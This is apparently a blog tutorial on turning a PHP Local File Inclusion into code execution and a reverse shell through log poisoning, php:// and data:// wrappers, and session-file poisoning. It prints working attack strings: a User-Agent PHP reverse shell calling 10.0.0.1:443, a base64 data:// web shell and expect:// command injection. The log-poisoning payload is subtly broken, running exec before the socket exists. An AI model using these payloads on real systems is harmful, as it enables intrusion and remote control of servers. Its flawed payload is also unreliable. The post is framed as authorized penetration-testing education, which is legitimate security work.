From LFI to Reverse Shell: Log Poisoning and PHP Wrappers
How a Local File Inclusion becomes code execution and then a reverse shell — via log poisoning, PHP session files, and php:// wrappers — in authorized web testing.
A Local File Inclusion (LFI) lets you make a web application include a file you should not control. On its own it leaks files; the interesting step is turning it into code execution, at which point a PHP reverse shell is one request away. This post covers the standard LFI-to-RCE routes you would use in an authorized web assessment.
The premise throughout: you have an endpoint like ?page=../../../../etc/passwd that includes attacker-influenced paths, and you want to escalate from reading files to running code.
Route 1: Log Poisoning
If you can include a file whose contents you control, you can plant PHP in it and then include it. Web server logs are the classic candidate because you write to them with every request.
- Send a request whose
User-Agentcontains PHP:User-Agent: <?php exec("/bin/sh -i <&3 >&3 2>&3"); $sock=fsockopen("10.0.0.1",443); ?> - That string is now written into the access log (e.g.
/var/log/apache2/access.log). - Include the log through the LFI:
?page=/var/log/apache2/access.log - When PHP renders the log, it executes your embedded code and the reverse shell fires.
The same idea works with any log or file you can influence — SSH auth logs (poison via username), mail logs, or an upload whose contents you control.
Route 2: PHP Wrappers
PHP's stream wrappers can turn an include into direct execution without touching disk, if allow_url_include is on:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
?page=php://input (send PHP code in the POST body)
?page=expect://id (if the expect extension is loaded)
php://filter is also worth knowing — it does not execute, but it base64-encodes source files so you can read PHP you would otherwise only execute, which helps you find a better foothold.
Route 3: PHP Session Files
If the app stores sessions on disk (/var/lib/php/sessions/sess_<id>) and reflects any input you control into the session, write PHP into a session value, then include the session file by its predictable path. Same mechanic as log poisoning, different file.
Then: the Reverse Shell
Once any of these gives you code execution, you are in the same position as a PHP reverse shell: drop the fsockopen payload, start your listener, and upgrade the shell once it lands (upgrading a reverse shell). Mind disable_functions — the LFI got you execution, but PHP hardening still applies.
Why It Fails
- Logs not readable/writable by the web user, or paths differ on the distro.
allow_url_includeoff — wrappers likedata://will not execute.disable_functionsblocks your exec function once you have RCE.- Egress filtered so the shell cannot call home — see egress filtering.
Generate the Payload
When you reach code execution, the reverse shell generator gives you a clean PHP payload with your LHOST/LPORT and the matching listener, so the only puzzle left is the inclusion itself.
Authorized Testing Only
LFI exploitation is for web applications you own or are explicitly authorized to test. Authorization is what separates an assessment from an attack.